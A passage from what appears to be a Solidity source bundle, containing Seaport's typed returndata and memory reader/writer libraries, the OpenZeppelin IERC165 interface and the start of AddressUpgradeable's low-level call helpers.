Reads the int48 at `rdPtr` in returndata.\n function readInt48(\n ReturndataPointer rdPtr\n ) internal pure returns (int48 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int56 at `rdPtr` in returndata.\n function readInt56(\n ReturndataPointer rdPtr\n ) internal pure returns (int56 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int64 at `rdPtr` in returndata.\n function readInt64(\n ReturndataPointer rdPtr\n ) internal pure returns (int64 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int72 at `rdPtr` in returndata.\n function readInt72(\n ReturndataPointer rdPtr\n ) internal pure returns (int72 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int80 at `rdPtr` in returndata.\n function readInt80(\n ReturndataPointer rdPtr\n ) internal pure returns (int80 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int88 at `rdPtr` in returndata.\n function readInt88(\n ReturndataPointer rdPtr\n ) internal pure returns (int88 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int96 at `rdPtr` in returndata.\n function readInt96(\n ReturndataPointer rdPtr\n ) internal pure returns (int96 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int104 at `rdPtr` in returndata.\n function readInt104(\n ReturndataPointer rdPtr\n ) internal pure returns (int104 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int112 at `rdPtr` in returndata.\n function readInt112(\n ReturndataPointer rdPtr\n ) internal pure returns (int112 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int120 at `rdPtr` in returndata.\n function readInt120(\n ReturndataPointer rdPtr\n ) internal pure returns (int120 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int128 at `rdPtr` in returndata.\n function readInt128(\n ReturndataPointer rdPtr\n ) internal pure returns (int128 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int136 at `rdPtr` in returndata.\n function readInt136(\n ReturndataPointer rdPtr\n ) internal pure returns (int136 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int144 at `rdPtr` in returndata.\n function readInt144(\n ReturndataPointer rdPtr\n ) internal pure returns (int144 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int152 at `rdPtr` in returndata.\n function readInt152(\n ReturndataPointer rdPtr\n ) internal pure returns (int152 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int160 at `rdPtr` in returndata.\n function readInt160(\n ReturndataPointer rdPtr\n ) internal pure returns (int160 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int168 at `rdPtr` in returndata.\n function readInt168(\n ReturndataPointer rdPtr\n ) internal pure returns (int168 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int176 at `rdPtr` in returndata.\n function readInt176(\n ReturndataPointer rdPtr\n ) internal pure returns (int176 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int184 at `rdPtr` in returndata.\n function readInt184(\n ReturndataPointer rdPtr\n ) internal pure returns (int184 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int192 at `rdPtr` in returndata.\n function readInt192(\n ReturndataPointer rdPtr\n ) internal pure returns (int192 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int200 at `rdPtr` in returndata.\n function readInt200(\n ReturndataPointer rdPtr\n ) internal pure returns (int200 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int208 at `rdPtr` in returndata.\n function readInt208(\n ReturndataPointer rdPtr\n ) internal pure returns (int208 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int216 at `rdPtr` in returndata.\n function readInt216(\n ReturndataPointer rdPtr\n ) internal pure returns (int216 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int224 at `rdPtr` in returndata.\n function readInt224(\n ReturndataPointer rdPtr\n ) internal pure returns (int224 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int232 at `rdPtr` in returndata.\n function readInt232(\n ReturndataPointer rdPtr\n ) internal pure returns (int232 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int240 at `rdPtr` in returndata.\n function readInt240(\n ReturndataPointer rdPtr\n ) internal pure returns (int240 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int248 at `rdPtr` in returndata.\n function readInt248(\n ReturndataPointer rdPtr\n ) internal pure returns (int248 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int256 at `rdPtr` in returndata.\n function readInt256(\n ReturndataPointer rdPtr\n ) internal pure returns (int256 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n}\n\nlibrary MemoryReaders {\n /// @dev Reads the memory pointer at `mPtr` in memory.\n function readMemoryPointer(\n MemoryPointer mPtr\n ) internal pure returns (MemoryPointer value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads value at `mPtr` & applies a mask to return only last 4 bytes\n function readMaskedUint256(\n MemoryPointer mPtr\n ) internal pure returns (uint256 value) {\n value = mPtr.readUint256() & OffsetOrLengthMask;\n }\n\n /// @dev Reads the bool at `mPtr` in memory.\n function readBool(MemoryPointer mPtr) internal pure returns (bool value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the address at `mPtr` in memory.\n function readAddress(\n MemoryPointer mPtr\n ) internal pure returns (address value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes1 at `mPtr` in memory.\n function readBytes1(\n MemoryPointer mPtr\n ) internal pure returns (bytes1 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes2 at `mPtr` in memory.\n function readBytes2(\n MemoryPointer mPtr\n ) internal pure returns (bytes2 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes3 at `mPtr` in memory.\n function readBytes3(\n MemoryPointer mPtr\n ) internal pure returns (bytes3 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes4 at `mPtr` in memory.\n function readBytes4(\n MemoryPointer mPtr\n ) internal pure returns (bytes4 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes5 at `mPtr` in memory.\n function readBytes5(\n MemoryPointer mPtr\n ) internal pure returns (bytes5 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes6 at `mPtr` in memory.\n function readBytes6(\n MemoryPointer mPtr\n ) internal pure returns (bytes6 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes7 at `mPtr` in memory.\n function readBytes7(\n MemoryPointer mPtr\n ) internal pure returns (bytes7 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes8 at `mPtr` in memory.\n function readBytes8(\n MemoryPointer mPtr\n ) internal pure returns (bytes8 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes9 at `mPtr` in memory.\n function readBytes9(\n MemoryPointer mPtr\n ) internal pure returns (bytes9 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes10 at `mPtr` in memory.\n function readBytes10(\n MemoryPointer mPtr\n ) internal pure returns (bytes10 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes11 at `mPtr` in memory.\n function readBytes11(\n MemoryPointer mPtr\n ) internal pure returns (bytes11 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes12 at `mPtr` in memory.\n function readBytes12(\n MemoryPointer mPtr\n ) internal pure returns (bytes12 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes13 at `mPtr` in memory.\n function readBytes13(\n MemoryPointer mPtr\n ) internal pure returns (bytes13 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes14 at `mPtr` in memory.\n function readBytes14(\n MemoryPointer mPtr\n ) internal pure returns (bytes14 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes15 at `mPtr` in memory.\n function readBytes15(\n MemoryPointer mPtr\n ) internal pure returns (bytes15 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes16 at `mPtr` in memory.\n function readBytes16(\n MemoryPointer mPtr\n ) internal pure returns (bytes16 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes17 at `mPtr` in memory.\n function readBytes17(\n MemoryPointer mPtr\n ) internal pure returns (bytes17 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes18 at `mPtr` in memory.\n function readBytes18(\n MemoryPointer mPtr\n ) internal pure returns (bytes18 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes19 at `mPtr` in memory.\n function readBytes19(\n MemoryPointer mPtr\n ) internal pure returns (bytes19 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes20 at `mPtr` in memory.\n function readBytes20(\n MemoryPointer mPtr\n ) internal pure returns (bytes20 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes21 at `mPtr` in memory.\n function readBytes21(\n MemoryPointer mPtr\n ) internal pure returns (bytes21 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes22 at `mPtr` in memory.\n function readBytes22(\n MemoryPointer mPtr\n ) internal pure returns (bytes22 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes23 at `mPtr` in memory.\n function readBytes23(\n MemoryPointer mPtr\n ) internal pure returns (bytes23 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes24 at `mPtr` in memory.\n function readBytes24(\n MemoryPointer mPtr\n ) internal pure returns (bytes24 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes25 at `mPtr` in memory.\n function readBytes25(\n MemoryPointer mPtr\n ) internal pure returns (bytes25 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes26 at `mPtr` in memory.\n function readBytes26(\n MemoryPointer mPtr\n ) internal pure returns (bytes26 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes27 at `mPtr` in memory.\n function readBytes27(\n MemoryPointer mPtr\n ) internal pure returns (bytes27 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes28 at `mPtr` in memory.\n function readBytes28(\n MemoryPointer mPtr\n ) internal pure returns (bytes28 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes29 at `mPtr` in memory.\n function readBytes29(\n MemoryPointer mPtr\n ) internal pure returns (bytes29 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes30 at `mPtr` in memory.\n function readBytes30(\n MemoryPointer mPtr\n ) internal pure returns (bytes30 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes31 at `mPtr` in memory.\n function readBytes31(\n MemoryPointer mPtr\n ) internal pure returns (bytes31 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes32 at `mPtr` in memory.\n function readBytes32(\n MemoryPointer mPtr\n ) internal pure returns (bytes32 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint8 at `mPtr` in memory.\n function readUint8(MemoryPointer mPtr) internal pure returns (uint8 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint16 at `mPtr` in memory.\n function readUint16(\n MemoryPointer mPtr\n ) internal pure returns (uint16 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint24 at `mPtr` in memory.\n function readUint24(\n MemoryPointer mPtr\n ) internal pure returns (uint24 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint32 at `mPtr` in memory.\n function readUint32(\n MemoryPointer mPtr\n ) internal pure returns (uint32 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint40 at `mPtr` in memory.\n function readUint40(\n MemoryPointer mPtr\n ) internal pure returns (uint40 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint48 at `mPtr` in memory.\n function readUint48(\n MemoryPointer mPtr\n ) internal pure returns (uint48 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint56 at `mPtr` in memory.\n function readUint56(\n MemoryPointer mPtr\n ) internal pure returns (uint56 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint64 at `mPtr` in memory.\n function readUint64(\n MemoryPointer mPtr\n ) internal pure returns (uint64 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint72 at `mPtr` in memory.\n function readUint72(\n MemoryPointer mPtr\n ) internal pure returns (uint72 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint80 at `mPtr` in memory.\n function readUint80(\n MemoryPointer mPtr\n ) internal pure returns (uint80 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint88 at `mPtr` in memory.\n function readUint88(\n MemoryPointer mPtr\n ) internal pure returns (uint88 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint96 at `mPtr` in memory.\n function readUint96(\n MemoryPointer mPtr\n ) internal pure returns (uint96 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint104 at `mPtr` in memory.\n function readUint104(\n MemoryPointer mPtr\n ) internal pure returns (uint104 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint112 at `mPtr` in memory.\n function readUint112(\n MemoryPointer mPtr\n ) internal pure returns (uint112 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint120 at `mPtr` in memory.\n function readUint120(\n MemoryPointer mPtr\n ) internal pure returns (uint120 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint128 at `mPtr` in memory.\n function readUint128(\n MemoryPointer mPtr\n ) internal pure returns (uint128 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint136 at `mPtr` in memory.\n function readUint136(\n MemoryPointer mPtr\n ) internal pure returns (uint136 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint144 at `mPtr` in memory.\n function readUint144(\n MemoryPointer mPtr\n ) internal pure returns (uint144 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint152 at `mPtr` in memory.\n function readUint152(\n MemoryPointer mPtr\n ) internal pure returns (uint152 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint160 at `mPtr` in memory.\n function readUint160(\n MemoryPointer mPtr\n ) internal pure returns (uint160 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint168 at `mPtr` in memory.\n function readUint168(\n MemoryPointer mPtr\n ) internal pure returns (uint168 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint176 at `mPtr` in memory.\n function readUint176(\n MemoryPointer mPtr\n ) internal pure returns (uint176 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint184 at `mPtr` in memory.\n function readUint184(\n MemoryPointer mPtr\n ) internal pure returns (uint184 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint192 at `mPtr` in memory.\n function readUint192(\n MemoryPointer mPtr\n ) internal pure returns (uint192 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint200 at `mPtr` in memory.\n function readUint200(\n MemoryPointer mPtr\n ) internal pure returns (uint200 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint208 at `mPtr` in memory.\n function readUint208(\n MemoryPointer mPtr\n ) internal pure returns (uint208 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint216 at `mPtr` in memory.\n function readUint216(\n MemoryPointer mPtr\n ) internal pure returns (uint216 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint224 at `mPtr` in memory.\n function readUint224(\n MemoryPointer mPtr\n ) internal pure returns (uint224 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint232 at `mPtr` in memory.\n function readUint232(\n MemoryPointer mPtr\n ) internal pure returns (uint232 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint240 at `mPtr` in memory.\n function readUint240(\n MemoryPointer mPtr\n ) internal pure returns (uint240 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint248 at `mPtr` in memory.\n function readUint248(\n MemoryPointer mPtr\n ) internal pure returns (uint248 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint256 at `mPtr` in memory.\n function readUint256(\n MemoryPointer mPtr\n ) internal pure returns (uint256 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int8 at `mPtr` in memory.\n function readInt8(MemoryPointer mPtr) internal pure returns (int8 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int16 at `mPtr` in memory.\n function readInt16(MemoryPointer mPtr) internal pure returns (int16 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int24 at `mPtr` in memory.\n function readInt24(MemoryPointer mPtr) internal pure returns (int24 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int32 at `mPtr` in memory.\n function readInt32(MemoryPointer mPtr) internal pure returns (int32 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int40 at `mPtr` in memory.\n function readInt40(MemoryPointer mPtr) internal pure returns (int40 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int48 at `mPtr` in memory.\n function readInt48(MemoryPointer mPtr) internal pure returns (int48 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int56 at `mPtr` in memory.\n function readInt56(MemoryPointer mPtr) internal pure returns (int56 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int64 at `mPtr` in memory.\n function readInt64(MemoryPointer mPtr) internal pure returns (int64 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int72 at `mPtr` in memory.\n function readInt72(MemoryPointer mPtr) internal pure returns (int72 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int80 at `mPtr` in memory.\n function readInt80(MemoryPointer mPtr) internal pure returns (int80 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int88 at `mPtr` in memory.\n function readInt88(MemoryPointer mPtr) internal pure returns (int88 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int96 at `mPtr` in memory.\n function readInt96(MemoryPointer mPtr) internal pure returns (int96 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int104 at `mPtr` in memory.\n function readInt104(\n MemoryPointer mPtr\n ) internal pure returns (int104 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int112 at `mPtr` in memory.\n function readInt112(\n MemoryPointer mPtr\n ) internal pure returns (int112 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int120 at `mPtr` in memory.\n function readInt120(\n MemoryPointer mPtr\n ) internal pure returns (int120 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int128 at `mPtr` in memory.\n function readInt128(\n MemoryPointer mPtr\n ) internal pure returns (int128 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int136 at `mPtr` in memory.\n function readInt136(\n MemoryPointer mPtr\n ) internal pure returns (int136 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int144 at `mPtr` in memory.\n function readInt144(\n MemoryPointer mPtr\n ) internal pure returns (int144 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int152 at `mPtr` in memory.\n function readInt152(\n MemoryPointer mPtr\n ) internal pure returns (int152 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int160 at `mPtr` in memory.\n function readInt160(\n MemoryPointer mPtr\n ) internal pure returns (int160 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int168 at `mPtr` in memory.\n function readInt168(\n MemoryPointer mPtr\n ) internal pure returns (int168 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int176 at `mPtr` in memory.\n function readInt176(\n MemoryPointer mPtr\n ) internal pure returns (int176 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int184 at `mPtr` in memory.\n function readInt184(\n MemoryPointer mPtr\n ) internal pure returns (int184 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int192 at `mPtr` in memory.\n function readInt192(\n MemoryPointer mPtr\n ) internal pure returns (int192 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int200 at `mPtr` in memory.\n function readInt200(\n MemoryPointer mPtr\n ) internal pure returns (int200 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int208 at `mPtr` in memory.\n function readInt208(\n MemoryPointer mPtr\n ) internal pure returns (int208 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int216 at `mPtr` in memory.\n function readInt216(\n MemoryPointer mPtr\n ) internal pure returns (int216 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int224 at `mPtr` in memory.\n function readInt224(\n MemoryPointer mPtr\n ) internal pure returns (int224 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int232 at `mPtr` in memory.\n function readInt232(\n MemoryPointer mPtr\n ) internal pure returns (int232 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int240 at `mPtr` in memory.\n function readInt240(\n MemoryPointer mPtr\n ) internal pure returns (int240 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int248 at `mPtr` in memory.\n function readInt248(\n MemoryPointer mPtr\n ) internal pure returns (int248 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int256 at `mPtr` in memory.\n function readInt256(\n MemoryPointer mPtr\n ) internal pure returns (int256 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n}\n\nlibrary MemoryWriters {\n /// @dev Writes `valuePtr` to memory at `mPtr`.\n function write(MemoryPointer mPtr, MemoryPointer valuePtr) internal pure {\n assembly {\n mstore(mPtr, valuePtr)\n }\n }\n\n /// @dev Writes a boolean `value` to `mPtr` in memory.\n function write(MemoryPointer mPtr, bool value) internal pure {\n assembly {\n mstore(mPtr, value)\n }\n }\n\n /// @dev Writes an address `value` to `mPtr` in memory.\n function write(MemoryPointer mPtr, address value) internal pure {\n assembly {\n mstore(mPtr, value)\n }\n }\n\n /// @dev Writes a bytes32 `value` to `mPtr` in memory.\n /// Separate name to disambiguate literal write parameters.\n function writeBytes32(MemoryPointer mPtr, bytes32 value) internal pure {\n assembly {\n mstore(mPtr, value)\n }\n }\n\n /// @dev Writes a uint256 `value` to `mPtr` in memory.\n function write(MemoryPointer mPtr, uint256 value) internal pure {\n assembly {\n mstore(mPtr, value)\n }\n }\n\n /// @dev Writes an int256 `value` to `mPtr` in memory.\n /// Separate name to disambiguate literal write parameters.\n function writeInt(MemoryPointer mPtr, int256 value) internal pure {\n assembly {\n mstore(mPtr, value)\n }\n }\n}\n" }, "lib/seaport/lib/seaport-types/src/interfaces/IERC165.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)\n\npragma solidity ^0.8.7;\n\n/**\n * @dev Interface of the ERC165 standard, as defined in the\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\n *\n * Implementers can declare support of contract interfaces, which can then be\n * queried by others ({ERC165Checker}).\n *\n * For an implementation, see {ERC165}.\n */\ninterface IERC165 {\n /**\n * @dev Returns true if this contract implements the interface defined by\n * `interfaceId`.\n *\n * This function call must use less than 30 000 gas.\n */\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n" }, "lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (utils/Address.sol)\n\npragma solidity ^0.8.19;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary AddressUpgradeable {\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.8.0/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as 